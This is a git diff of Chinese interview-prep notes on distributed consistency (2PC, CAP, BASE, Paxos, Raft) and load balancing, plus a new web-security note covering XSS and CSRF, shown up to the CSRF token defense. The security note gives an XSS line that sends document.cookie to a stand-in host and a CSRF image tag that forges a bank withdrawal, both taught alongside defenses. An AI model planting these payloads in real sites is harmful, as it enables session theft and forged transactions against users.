+在阶段二，如果协调者只发送了部分 Commit 消息，此时网络发生异常，那么只有部分参与者接收到 Commit 消息，也就是说只有部分参与者提交了事务，使得系统数据不一致。
+
+（四）太过保守
+
+任意一个节点失败就会导致整个事务失败，没有完善的容错机制。
+
+参考：
+
+- [聊聊分布式事务，再说说解决方案](https://www.cnblogs.com/savorboard/p/distributed-system-transaction-consistency.html)
+- [分布式系统的事务处理](https://coolshell.cn/articles/10910.html)
+- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)
+
+# 三、CAP
 
 分布式系统不可能同时满足一致性（C：Consistency）、可用性（A：Availability）和分区容忍性（P：Partition Tolerance），最多只能同时满足其中两项。
 
-<div align="center"> <img src="../pics//f1109d04-3c67-48a3-9963-2c475f94e175.jpg" width="500"/> </div><br>
+<div align="center"> <img src="../pics//f1109d04-3c67-48a3-9963-2c475f94e175.jpg"/> </div><br>
 
 ## 一致性
 
@@ -54,18 +200,23 @@
 
 可用性和一致性往往是冲突的，很难都使它们同时满足。在多个节点之间进行数据同步时，
 
-- 为了保证一致性（CP），就需要让所有节点下线成为不可用的状态，等待同步完成；
-- 为了保证可用性（AP），在同步过程中允许读取所有节点的数据，但是数据可能不一致。
+*   为了保证一致性（CP），就需要让所有节点下线成为不可用的状态，等待同步完成；
+*   为了保证可用性（AP），在同步过程中允许读取所有节点的数据，但是数据可能不一致。
 
-<div align="center"> <img src="../pics//0b587744-c0a8-46f2-8d72-e8f070d67b4b.jpg" width="500"/> </div><br>
+<div align="center"> <img src="../pics//0b587744-c0a8-46f2-8d72-e8f070d67b4b.jpg"/> </div><br>
 
-# 二、BASE
+参考：
+
+- 倪超. 从 Paxos 到 ZooKeeper : 分布式一致性原理与实践 [M]. 电子工业出版社, 2015.
+- [What is CAP theorem in distributed database system?](http://www.colooshiki.com/index.php/2017/04/20/what-is-cap-theorem-in-distributed-database-system/)
+
+# 四、BASE
 
 BASE 是基本可用（Basically Available）、软状态（Soft State）和最终一致性（Eventually Consistent）三个短语的缩写。
 
 BASE 理论是对 CAP 中一致性和可用性权衡的结果，它的理论的核心思想是：即使无法做到强一致性，但每个应用都可以根据自身业务特点，采用适当的方式来使系统达到最终一致性。
 
-<div align="center"> <img src="../pics//bc603930-d74d-4499-a3e7-2d740fc07f33.png" width="250"/> </div><br>
+<div align="center"> <img src="../pics//bc603930-d74d-4499-a3e7-2d740fc07f33.png"/> </div><br>
 
 ## 基本可用
 
@@ -85,49 +236,7 @@ ACID 要求强一致性，通常运用在传统的数据库系统上。而 BASE
 
 在实际的分布式场景中，不同业务单元和组件对一致性的要求是不同的，因此 ACID 和 BASE 往往会结合在一起使用。
 
-# 三、2PC
-
-两阶段提交（Two-phase Commit，2PC）
-
-主要用于实现分布式事务，分布式事务指的是事务操作跨越多个节点，并且要求满足事务的 ACID 特性。
-
-通过引入协调者（Coordinator）来调度参与者的行为，并最终决定这些参与者是否要真正执行事务。
-
-## 运行过程
-
-### 1. 准备阶段
-
-协调者询问参与者事务是否执行成功，参与者发回事务执行结果。
-
-<div align="center"> <img src="../pics//04f41228-375d-4b7d-bfef-738c5a7c8f07.jpg" width=""/> </div><br>
-
-### 2. 提交阶段
-
-如果事务在每个参与者上都执行成功，事务协调者发送通知让参与者提交事务；否则，协调者发送通知让参与者回滚事务。
-
-<div align="center"> <img src="../pics//2991c772-fb1c-4051-a9c7-932b68e76bd7.jpg" width=""/> </div><br>
-
-需要注意的是，在准备阶段，参与者执行了事务，但是还未提交。只有在提交阶段接收到协调者发来的通知后，才进行提交或者回滚。
-
-## 存在的问题
-
-### 1. 同步阻塞
-
-所有事务参与者在等待其它参与者响应的时候都处于同步阻塞状态，无法进行其它操作。
-
-### 2. 单点问题
-
-协调者在 2PC 中起到非常大的作用，发生故障将会造成很大影响，特别是在阶段二发生故障，所有参与者会一直等待状态，无法完成其它操作。
-
-### 3. 数据不一致
-
-在阶段二，如果协调者只发送了部分 Commit 消息，此时网络发生异常，那么只有部分参与者接收到 Commit 消息，也就是说只有部分参与者提交了事务，使得系统数据不一致。
-
-### 4. 太过保守
-
-任意一个节点失败就会导致整个事务失败，没有完善的容错机制。
-
-# 四、Paxos
+# 五、Paxos
 
 用于达成共识性问题，即对多个节点产生的值，该算法能保证只选出唯一一个值。
 
@@ -137,7 +246,7 @@ ACID 要求强一致性，通常运用在传统的数据库系统上。而 BASE
 - 接受者（Acceptor）：对每个提议进行投票；
 - 告知者（Learner）：被告知投票的结果，不参与投票过程。
 
-<div align="center"> <img src="../pics//b988877c-0f0a-4593-916d-de2081320628.jpg" width=""/> </div><br>
+<div align="center"> <img src="../pics//b988877c-0f0a-4593-916d-de2081320628.jpg"/> </div><br>
 
 ## 执行过程
 
@@ -145,19 +254,19 @@ ACID 要求强一致性，通常运用在传统的数据库系统上。而 BASE
 
 下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程，每个 Proposer 都会向所有 Acceptor 发送提议请求。
 
-<div align="center"> <img src="../pics//1a9977e4-2f5c-49a6-aec9-f3027c9f46a7.png" width=""/> </div><br>
+<div align="center"> <img src="../pics//1a9977e4-2f5c-49a6-aec9-f3027c9f46a7.png"/> </div><br>
 
 当 Acceptor 接收到一个提议请求，包含的提议为 [n1, v1]，并且之前还未接收过提议请求，那么发送一个提议响应，设置当前接收到的提议为 [n1, v1]，并且保证以后不会再接受序号小于 n1 的提议。
 
 如下图，Acceptor X 在收到 [n=2, v=8] 的提议请求时，由于之前没有接收过提议，因此就发送一个 [no previous] 的提议响应，设置当前接收到的提议为 [n=2, v=8]，并且保证以后不会再接受序号小于 2 的提议。其它的 Acceptor 类似。
 
-<div align="center"> <img src="../pics//fb44307f-8e98-4ff7-a918-31dacfa564b4.jpg" width=""/> </div><br>
+<div align="center"> <img src="../pics//fb44307f-8e98-4ff7-a918-31dacfa564b4.jpg"/> </div><br>
 
 如果 Acceptor 接收到一个提议请求，包含的提议为 [n2, v2]，并且之前已经接收过提议 [n1, v1]。如果 n1 > n2，那么就丢弃该提议请求；否则，发送提议响应，该提议响应包含之前已经接收过的提议 [n1, v1]，设置当前接收到的提议为 [n2, v2]，并且保证以后不会再接受序号小于 n2 的提议。
 
 如下图，Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的提议请求，由于之前已经接收过 [n=4, v=5] 的提议，并且 n > 2，因此就抛弃该提议请求；Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的提议请求，因为之前接收到的提议为 [n=2, v=8]，并且 2 <= 4，因此就发送 [n=2, v=8] 的提议响应，设置当前接收到的提议为 [n=4, v=5]，并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。
 
-<div align="center"> <img src="../pics//2bcc58ad-bf7f-485c-89b5-e7cafc211ce2.jpg" width=""/> </div><br>
+<div align="center"> <img src="../pics//2bcc58ad-bf7f-485c-89b5-e7cafc211ce2.jpg"/> </div><br>
 
 当一个 Proposer 接收到超过一半 Acceptor 的提议响应时，就可以发送接受请求。
 
@@ -165,26 +274,31 @@ Proposer A 接收到两个提议响应之后，就发送 [n=2, v=8] 接受请求
 
 Proposer B 过后也收到了两个提议响应，因此也开始发送接受请求。需要注意的是，接受请求的 v 需要取它收到的最大 v 值，也就是 8。因此它发送 [n=4, v=8] 的接受请求。
 
-<div align="center"> <img src="../pics//9b838aee-0996-44a5-9b0f-3d1e3e2f5100.png" width=""/> </div><br>
+<div align="center"> <img src="../pics//9b838aee-0996-44a5-9b0f-3d1e3e2f5100.png"/> </div><br>
 
 Acceptor 接收到接受请求时，如果序号大于等于该 Acceptor 承诺的最小序号，那么就发送通知给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议，那么该提议的提议值就被 Paxos 选择出来。
 
-<div align="center"> <img src="../pics//bf667594-bb4b-4634-bf9b-0596a45415ba.jpg" width=""/> </div><br>
+<div align="center"> <img src="../pics//bf667594-bb4b-4634-bf9b-0596a45415ba.jpg"/> </div><br>
 
 ## 约束条件
 
-### 1. 正确性
+### 1\. 正确性
 
 指只有一个提议值会生效。
 
 因为 Paxos 协议要求每个生效的提议被多数 Acceptor 接收，并且 Acceptor 不会接受两个不同的提议，因此可以保证正确性。
 
-### 2. 可终止性
+### 2\. 可终止性
 
 指最后总会有一个提议生效。
 
 Paxos 协议能够让 Proposer 发送的提议朝着能被大多数 Acceptor 接受的那个提议靠拢，因此能够保证可终止性。
 
+参考：
+
+- [NEAT ALGORITHMS - PAXOS](http://harry.me/blog/2014/12/27/neat-algorithms-paxos/)
+- [Paxos By Example](https://angus.nyc/2012/paxos-by-example/)
+
 # 五、Raft
 
 Raft 和 Paxos 类似，但是更容易理解，也更容易实现。
@@ -195,55 +309,51 @@ Raft 主要是用来竞选主节点。
 
 有三种节点：Follower、Candidate 和 Leader。Leader 会周期性的发送心跳包给 Follower。每个 Follower 都设置了一个随机的竞选超时时间，一般为 150ms\~300ms，如果在这个时间内没有收到 Leader 的心跳包，就会变成 Candidate，进入竞选阶段。
 
-- 下图表示一个分布式系统的最初阶段，此时只有 Follower，没有 Leader。Follower A 等待一个随机的竞选超时时间之后，没收到 Leader 发来的心跳包，因此进入竞选阶段。
+*   下图表示一个分布式系统的最初阶段，此时只有 Follower，没有 Leader。Follower A 等待一个随机的竞选超时时间之后，没收到 Leader 发来的心跳包，因此进入竞选阶段。
 
-<div align="center"> <img src="../pics//111521118015898.gif" width=""/> </div><br>
+<div align="center"> <img src="../pics//111521118015898.gif"/> </div><br>
 
-- 此时 A 发送投票请求给其它所有节点。
+*   此时 A 发送投票请求给其它所有节点。
 
-<div align="center"> <img src="../pics//111521118445538.gif" width=""/> </div><br>
+<div align="center"> <img src="../pics//111521118445538.gif"/> </div><br>
 
-- 其它节点会对请求进行回复，如果超过一半的节点回复了，那么该 Candidate 就会变成 Leader。
+*   其它节点会对请求进行回复，如果超过一半的节点回复了，那么该 Candidate 就会变成 Leader。
 
-<div align="center"> <img src="../pics//111521118483039.gif" width=""/> </div><br>
+<div align="center"> <img src="../pics//111521118483039.gif"/> </div><br>
 
-- 之后 Leader 会周期性地发送心跳包给 Follower，Follower 接收到心跳包，会重新开始计时。
+*   之后 Leader 会周期性地发送心跳包给 Follower，Follower 接收到心跳包，会重新开始计时。
 
-<div align="center"> <img src="../pics//111521118640738.gif" width=""/> </div><br>
+<div align="center"> <img src="../pics//111521118640738.gif"/> </div><br>
 
 ## 多个 Candidate 竞选
 
 *   如果有多个 Follower 成为 Candidate，并且所获得票数相同，那么就需要重新开始投票，例如下图中 Candidate B 和 Candidate D 都获得两票，因此需要重新开始投票。
 
-<div align="center"> <img src="../pics//111521119203347.gif" width=""/> </div><br>
+<div align="center"> <img src="../pics//111521119203347.gif"/> </div><br>
 
 *   当重新开始投票时，由于每个节点设置的随机竞选超时时间不同，因此能下一次再次出现多个 Candidate 并获得同样票数的概率很低。
 
-<div align="center"> <img src="../pics//111521119368714.gif" width=""/> </div><br>
+<div align="center"> <img src="../pics//111521119368714.gif"/> </div><br>
 
 ## 日志复制
 
-- 来自客户端的修改都会被传入 Leader。注意该修改还未被提交，只是写入日志中。
+*   来自客户端的修改都会被传入 Leader。注意该修改还未被提交，只是写入日志中。
 
-<div align="center"> <img src="../pics//7.gif" width=""/> </div><br>
+<div align="center"> <img src="../pics//7.gif"/> </div><br>
 
-- Leader 会把修改复制到所有 Follower。
+*   Leader 会把修改复制到所有 Follower。
 
-<div align="center"> <img src="../pics//9.gif" width=""/> </div><br>
+<div align="center"> <img src="../pics//9.gif"/> </div><br>
 
-- Leader 会等待大多数的 Follower 也进行了修改，然后才将修改提交。
+*   Leader 会等待大多数的 Follower 也进行了修改，然后才将修改提交。
 
-<div align="center"> <img src="../pics//10.gif" width=""/> </div><br>
+<div align="center"> <img src="../pics//10.gif"/> </div><br>
 
-- 此时 Leader 会通知的所有 Follower 让它们也提交修改，此时所有节点的值达成一致。
+*   此时 Leader 会通知的所有 Follower 让它们也提交修改，此时所有节点的值达成一致。
 
-<div align="center"> <img src="../pics//11.gif" width=""/> </div><br>
+<div align="center"> <img src="../pics//11.gif"/> </div><br>
 
-# 参考资料
+参考：
 
-- 倪超. 从 Paxos 到 ZooKeeper : 分布式一致性原理与实践 [M]. 电子工业出版社, 2015.
-- [What is CAP theorem in distributed database system?](http://www.colooshiki.com/index.php/2017/04/20/what-is-cap-theorem-in-distributed-database-system/)
-- [NEAT ALGORITHMS - PAXOS](http://harry.me/blog/2014/12/27/neat-algorithms-paxos/)
 - [Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft)
-- [Paxos By Example](https://angus.nyc/2012/paxos-by-example/)
 
diff --git a/notes/分布式问题分析.md b/notes/分布式问题分析.md
deleted file mode 100644
index dfeb7691..00000000
--- a/notes/分布式问题分析.md
+++ /dev/null
@@ -1,257 +0,0 @@
-<!-- GFM-TOC -->
-* [一、分布式锁](#一分布式锁)
-    * [数据库的唯一索引](#数据库的唯一索引)
-    * [Redis 的 SETNX 指令](#redis-的-setnx-指令)
-    * [Redis 的 RedLock 算法](#redis-的-redlock-算法)
-    * [Zookeeper 的有序节点](#zookeeper-的有序节点)
-* [二、分布式事务](#二分布式事务)
-    * [本地消息表](#本地消息表)
-    * [两阶段提交协议](#两阶段提交协议)
-* [三、分布式 Session](#三分布式-session)
-    * [Sticky Sessions](#sticky-sessions)
-    * [Session Replication](#session-replication)
-    * [Session Server](#session-server)
-* [四、负载均衡](#四负载均衡)
-    * [算法](#算法)
-    * [实现](#实现)
-<!-- GFM-TOC -->
-
-
-# 一、分布式锁
-
-在单机场景下，可以使用 Java 提供的内置锁来实现进程同步。但是在分布式场景下，需要同步的进程可能位于不同的节点上，那么就需要使用分布式锁。
-
-阻塞锁通常使用互斥量来实现，互斥量为 1 表示有其它进程在使用锁，此时处于锁定状态，互斥量为 0 表示未锁定状态。1 和 0 可以用一个整型值来存储，也可以用某个数据存在或者不存在来存储，某个数据存在表示互斥量为 1。
-
-## 数据库的唯一索引
-
-当想要获得锁时，就向表中插入一条记录，释放锁时就删除这条记录。唯一索引可以保证该记录只被插入一次，那么就可以用这个记录是否存在来判断是否存于锁定状态。
-
-存在以下几个问题：
-
-- 锁没有失效时间，解锁失败的话其他线程无法再获得锁。
-- 只能是非阻塞锁，插入失败直接就报错了，无法重试。
-- 不可重入，已经获得锁的进程也必须重新获取锁。
-
-## Redis 的 SETNX 指令
-
-使用 SETNX（set if not exist）指令插入一个键值对，如果 Key 已经存在，那么会返回 False，否则插入成功并返回 True。
-
-SETNX 指令和数据库的唯一索引类似，可以保证只存在一个 Key 的键值对，可以用一个 Key 的键值对是否存在来判断是否存于锁定状态。
-
-EXPIRE 指令可以为一个键值对设置一个过期时间，从而避免了数据库唯一索引实现方式中释放锁失败的问题。
-
-## Redis 的 RedLock 算法
-
-使用了多个 Redis 实例来实现分布式锁，这是为了保证在发生单点故障时仍然可用。
-
-- 尝试从 N 个相互独立 Redis 实例获取锁，如果一个实例不可用，应该尽快尝试下一个。
-- 计算获取锁消耗的时间，只有当这个时间小于锁的过期时间，并且从大多数（N/2+1）实例上获取了锁，那么就认为锁获取成功了。
-- 如果锁获取失败，会到每个实例上释放锁。
-
-## Zookeeper 的有序节点
-
-### 1. Zookeeper 抽象模型
-
-Zookeeper 提供了一种树形结构级的命名空间，/app1/p_1 节点表示它的父节点为 /app1。
-
-<div align="center"> <img src="../pics//31d99967-1171-448e-8531-bccf5c14cffe.jpg" width="400"/> </div><br>
-
-### 2. 节点类型
-
-- 永久节点：不会因为会话结束或者超时而消失；
-- 临时节点：如果会话结束或者超时就会消失；
-- 有序节点：会在节点名的后面加一个数字后缀，并且是有序的，例如生成的有序节点为 /lock/node-0000000000，它的下一个有序节点则为 /lock/node-0000000001，以此类推。
-
-### 3. 监听器
-
-为一个节点注册监听器，在节点状态发生改变时，会给客户端发送消息。
-
-### 4. 分布式锁实现
-
-- 创建一个锁目录 /lock；
-- 当一个客户端需要获取锁时，在 /lock 下创建临时的且有序的子节点；
--  客户端获取 /lock 下的子节点列表，判断自己创建的子节点是否为当前子节点列表中序号最小的子节点，如果是则认为获得锁；否则监听自己的前一个子节点，获得子节点的变更通知后重复此步骤直至获得锁；
-- 执行业务代码，完成后，删除对应的子节点。
-
-### 5. 会话超时
-
-如果一个已经获得锁的会话超时了，因为创建的是临时节点，所以该会话对应的临时节点会被删除，其它会话就可以获得锁了。可以看到，Zookeeper 分布式锁不会出现数据库的唯一索引实现分布式锁的释放锁失败问题。
-
-### 6. 羊群效应
-
-一个节点未获得锁，需要监听自己的前一个子节点，这是因为如果监听所有的子节点，那么任意一个子节点状态改变，其它所有子节点都会收到通知（羊群效应），而我们只希望它的后一个子节点收到通知。
-
-参考：
-
-- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
-- [Distributed locks with Redis](https://redis.io/topics/distlock)
-- [基于 Zookeeper 的分布式锁](http://www.dengshenyu.com/java/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/2017/10/23/zookeeper-distributed-lock.html)
-
-# 二、分布式事务
-
-指事务的操作位于不同的节点上，需要保证事务的 AICD 特性。例如在下单场景下，库存和订单如果不在同一个节点上，就涉及分布式事务。
-
-## 本地消息表
-
-### 1. 原理
-
-本地消息表与业务数据表处于同一个数据库中，这样就能利用本地事务来保证在对这两个表的操作满足事务特性。
-
-1. 在分布式事务操作的一方完成写业务数据的操作之后向本地消息表发送一个消息，本地事务能保证这个消息一定会被写入本地消息表中。
-2. 之后将本地消息表中的消息转发到 Kafka 等消息队列（MQ）中，如果转发成功则将消息从本地消息表中删除，否则继续重新转发。
-3. 在分布式事务操作的另一方从消息队列中读取一个消息，并执行消息中的操作。
-
-<div align="center"> <img src="../pics//e3bf5de4-ab1e-4a9b-896d-4b0ad7e9220a.jpg"/> </div><br>
-
-### 2. 分析
-
-本地消息表利用了本地事务来实现分布式事务，并且使用了消息队列来保证最终一致性。
-
-## 两阶段提交协议
-
-[CyC2018/Interview-Notebook/一致性.md/2PC](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E4%B8%80%E8%87%B4%E6%80%A7.md)
-
-参考：
-
-- [聊聊分布式事务，再说说解决方案](https://www.cnblogs.com/savorboard/p/distributed-system-transaction-consistency.html)
-- [分布式系统的事务处理](https://coolshell.cn/articles/10910.html)
-- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)
-
-# 三、分布式 Session
-
-在分布式场景下，一个用户的 Session 如果只存储在一个服务器上，那么当负载均衡器把用户的下一个请求转发到另一个服务器上，该服务器没有用户的 Session，就可能导致用户需要重新进行登录等操作。
-
-## Sticky Sessions
-
-需要配置负载均衡器，使得一个用户的所有请求都路由到一个服务器节点上，这样就可以把用户的 Session 存放在该服务器节点中。
-
-缺点：当服务器节点宕机时，将丢失该服务器节点上的所有 Session。
-
-<div align="center"> <img src="../pics//MultiNode-StickySessions.jpg"/> </div><br>
-
-## Session Replication
-
-在服务器节点之间进行 Session 同步操作，这样的话用户可以访问任何一个服务器节点。
-
-缺点：占用过多内存；同步过程占用网络带宽以及服务器处理器时间。
-
-<div align="center"> <img src="../pics//MultiNode-SessionReplication.jpg"/> </div><br>
-
-## Session Server
-
-使用一个单独的服务器存储 Session 数据，可以存在 MySQL 数据库上，也可以存在 Redis 或者 Memcached 这种内存型数据库。
-
-缺点：需要去实现存取 Session 的代码。
-
-<div align="center"> <img src="../pics//MultiNode-SpringSession.jpg"/> </div><br>
-
-参考：
-
-- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)
-
-# 四、负载均衡
-
-## 算法
-
-### 1. 轮询（Round Robin）
-
-轮询算法把每个请求轮流发送到每个服务器上。下图中，一共有 6 个客户端产生了 6 个请求，这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。最后，(1, 3, 5) 的请求会被发送到服务器 1，(2, 4, 6) 的请求会被发送到服务器 2。
-
-<div align="center"> <img src="../pics//2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg"/> </div><br>
-
-该算法比较适合每个服务器的性能差不多的场景，如果有性能存在差异的情况下，那么性能较差的服务器可能无法承担过大的负载（下图的 Server 2）。
-
-<div align="center"> <img src="../pics//f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg"/> </div><br>
-
-### 2. 加权轮询（Weighted Round Robbin）
-
-加权轮询是在轮询的基础上，根据服务器的性能差异，为服务器赋予一定的权值。例如下图中，服务器 1 被赋予的权值为 5，服务器 2 被赋予的权值为 1，那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1，(6) 请求会被发送到服务器 2。
-
-<div align="center"> <img src="../pics//211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg"/> </div><br>
-
-### 3. 最少连接（least Connections）
-
-由于每个请求的连接时间不一样，使用轮询或者加权轮询算法的话，可能会让一台服务器当前连接数过大，而另一台服务器的连接过小，造成负载不均衡。例如下图中，(1, 3, 5) 请求会被发送到服务器 1，但是 (1, 3) 很快就断开连接，此时只有 (5) 请求连接服务器 1；(2, 4, 6) 请求被发送到服务器 2，只有 (2) 的连接断开。该系统继续运行时，服务器 2 会承担过大的负载。
-
-<div align="center"> <img src="../pics//3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg"/> </div><br>
-
-最少连接算法就是将请求发送给当前最少连接数的服务器上。例如下图中，服务器 1 当前连接数最小，那么新到来的请求 6 就会被发送到服务器 1 上。
-
-<div align="center"> <img src="../pics//1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg"/> </div><br>
-
-### 4. 加权最少连接（Weighted Least Connection）
-
-在最少连接的基础上，根据服务器的性能为每台服务器分配权重，再根据权重计算出每台服务器能处理的连接数。
-
-<div align="center"> <img src="../pics//44edefb7-4b58-4519-b8ee-4aca01697b78.jpg"/> </div><br>
-
-### 5. 随机算法（Random）
-
-把请求随机发送到服务器上。和轮询算法类似，该算法比较适合服务器性能差不多的场景。
-
-<div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
-
-### 6. 源地址哈希法 (IP Hash)
-
-源地址哈希通过对客户端 IP 哈希计算得到的一个数值，用该数值对服务器数量进行取模运算，取模结果便是目标服务器的序号。
-
-- 优点：保证同一 IP 的客户端都会被 hash 到同一台服务器上。
-- 缺点：不利于集群扩展，后台服务器数量变更都会影响 hash 结果。可以采用一致性 Hash 改进。
-
-<div align="center"> <img src="../pics//2018040302.jpg"/> </div><br>
-
-## 实现
-
-### 1. HTTP 重定向
-
-HTTP 重定向负载均衡服务器收到 HTTP 请求之后会返回服务器的地址，并将该地址写入 HTTP 重定向响应中返回给浏览器，浏览器收到后需要再次发送请求。
-
-缺点：
-
-- 用户访问的延迟会增加；
-- 如果负载均衡器宕机，就无法访问该站点。
-
-<div align="center"> <img src="../pics//10bdf7bf-0daa-4a26-b927-f142b3f8e72b.png"/> </div><br>
-
-### 2. DNS 重定向
-
-使用 DNS 作为负载均衡器，根据负载情况返回不同服务器的 IP 地址。
-
-大型网站基本使用了这种方式做为第一级负载均衡手段，然后在内部使用其它方式做第二级负载均衡。
-
-缺点：
-
-- DNS 查找表可能会被客户端缓存起来，那么之后的所有请求都会被重定向到同一个服务器。
-
-<div align="center"> <img src="../pics//f8b16d1e-7363-4544-94d6-4939fdf849dc.png"/> </div><br>
-
-### 3. 修改 MAC 地址
-
-使用 LVS（Linux Virtual Server）这种链路层负载均衡器，根据负载情况修改请求的 MAC 地址。
-
-<div align="center"> <img src="../pics//f0e35b7a-2948-488a-a5a9-97d3f6b5e2d7.png"/> </div><br>
-
-### 4. 修改 IP 地址
-
-在网络层修改请求的目的 IP 地址。
-
-<div align="center"> <img src="../pics//265a355d-aead-48aa-b455-f33b62fe729f.png"/> </div><br>
-
-### 5. 代理自动配置
-
-正向代理与反向代理的区别：
-
-- 正向代理：发生在客户端，是由用户主动发起的。比如翻墙，客户端通过主动访问代理服务器，让代理服务器获得需要的外网数据，然后转发回客户端。
-- 反向代理：发生在服务器端，用户不知道代理的存在。
-
-PAC 服务器是用来判断一个请求是否要经过代理。
-
-<div align="center"> <img src="../pics//52e1af6f-3a7a-4bee-aa8f-fcb5dacebe40.jpg"/> </div><br>
-
-参考：
-
-- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
-- [负载均衡算法及手段](https://segmentfault.com/a/1190000004492447)
-- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
-
diff --git a/notes/安全性.md b/notes/安全性.md
new file mode 100644
index 00000000..22af60ea
--- /dev/null
+++ b/notes/安全性.md
@@ -0,0 +1,219 @@
+<!-- GFM-TOC -->
+* [一、跨站脚本攻击](#一跨站脚本攻击)
+* [二、跨站请求伪造](#二跨站请求伪造)
+* [三、SQL 注入攻击](#三sql-注入攻击)
+* [四、拒绝服务攻击](#四拒绝服务攻击)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
+
+
+# 一、跨站脚本攻击
+
+## 概念
+
+跨站脚本攻击（Cross-Site Scripting, XSS），可以将代码注入到用户浏览的网页上，这种代码包括 HTML 和 JavaScript。
+
+例如有一个论坛网站，攻击者可以在上面发布以下内容：
+
+```html
+<script>location.href="//domain.com/?c=" + document.cookie</script>
+```
+
+之后该内容可能会被渲染成以下形式：
+
+```html
+<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
+```
+
+另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态，那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
+
+## 危害
+
+- 窃取用户的 Cookie 值
+- 伪造虚假的输入表单骗取个人信息
+- 显示伪造的文章或者图片
+
+## 防范手段
+
+### 1. 设置 Cookie 为 HttpOnly
+
+设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用，就无法通过 document.cookie 获取用户 Cookie 信息。
+
+### 2. 过滤特殊字符
+
+例如将 `<` 转义为 `&lt;`，将 `>` 转义为 `&gt;`，从而避免 HTML 和 Jascript 代码的运行。
+
+## 富文本编辑器
+
+富文本编辑器允许用户输入 HTML 代码，就不能简单地将 `<` 等字符进行过滤了，极大地提高了 XSS 攻击的可能性。
+
+富文本编辑器通常采用 XSS filter 来防范 XSS 攻击，可以定义一些标签白名单或者黑名单，从而不允许有攻击性的 HTML 代码的输入。
+
+以下例子中，form 和 script 等标签都被转义，而 h 和 p 等标签将会保留。
+
+> [XSS 过滤在线测试](http://jsxss.com/zh/try.html)
+
+```html
+<h1 id="title">XSS Demo</h1>
+
+<p class="text-center">
+Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.
+</p>
+
+<form>
+  <input type="text" name="q" value="test">
+  <button id="submit">Submit</button>
+</form>
+
+<pre>hello</pre>
+
+<p>
+  <a href="http://jsxss.com">http</a>
+</p>
+
+<h3>Features:</h3>
+<ul>
+  <li>Specifies HTML tags and their attributes allowed with whitelist</li>
+  <li>Handle any tags or attributes using custom function</li>
+</ul>
+
+<script type="text/javascript">
+alert(/xss/);
+</script>
+```
+
+```html
+<h1>XSS Demo</h1>
+
+<p>
+Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.
+</p>
+
+&lt;form&gt;
+  &lt;input type="text" name="q" value="test"&gt;
+  &lt;button id="submit"&gt;Submit&lt;/button&gt;
+&lt;/form&gt;
+
+<pre>hello</pre>
+
+<p>
+  <a href="http://jsxss.com">http</a>
+</p>
+
+<h3>Features:</h3>
+<ul>
+  <li>Specifies HTML tags and their attributes allowed with whitelist</li>
+  <li>Handle any tags or attributes using custom function</li>
+</ul>
+
+&lt;script type="text/javascript"&gt;
+alert(/xss/);
+&lt;/script&gt;
+```
+
+# 二、跨站请求伪造
+
+## 概念
+
+跨站请求伪造（Cross-site request forgery，CSRF），是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。
+
+XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户浏览器的信任。
+
+假如一家银行用以执行转账操作的 URL 地址如下：
+
+```
+http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
+```
+
+那么，一个恶意攻击者可以在另一个网站上放置如下代码：
+
+```
+<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
+```
+
+如果有账户名为 Alice 的用户访问了恶意站点，而她之前刚访问过银行不久，登录信息尚未过期，那么她就会损失 1000 资金。
+
+这种恶意的网址可以有很多种形式，藏身于网页中的许多地方。此外，攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛，博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话，用户即使访问熟悉的可信网站也有受攻击的危险。
+
+透过例子能够看出，攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权，也不能直接窃取用户的任何信息。他们能做到的，是欺骗用户浏览器，让其以用户的名义执行操作。
+
+## 防范手段
+
+### 1. 检查 Referer 首部字段
+
+Referer 首部字段位于 HTTP 报文中，用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下，可以极大的防止 XSRF 攻击。
+
+这种办法简单易行，工作量低，仅需要在关键访问处增加一步校验。但这种办法也有其局限性，因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定，但并无法保证来访的浏览器的具体实现，亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器，篡改其 Referer 字段的可能。
+
+### 2. 添加校验 Token
+
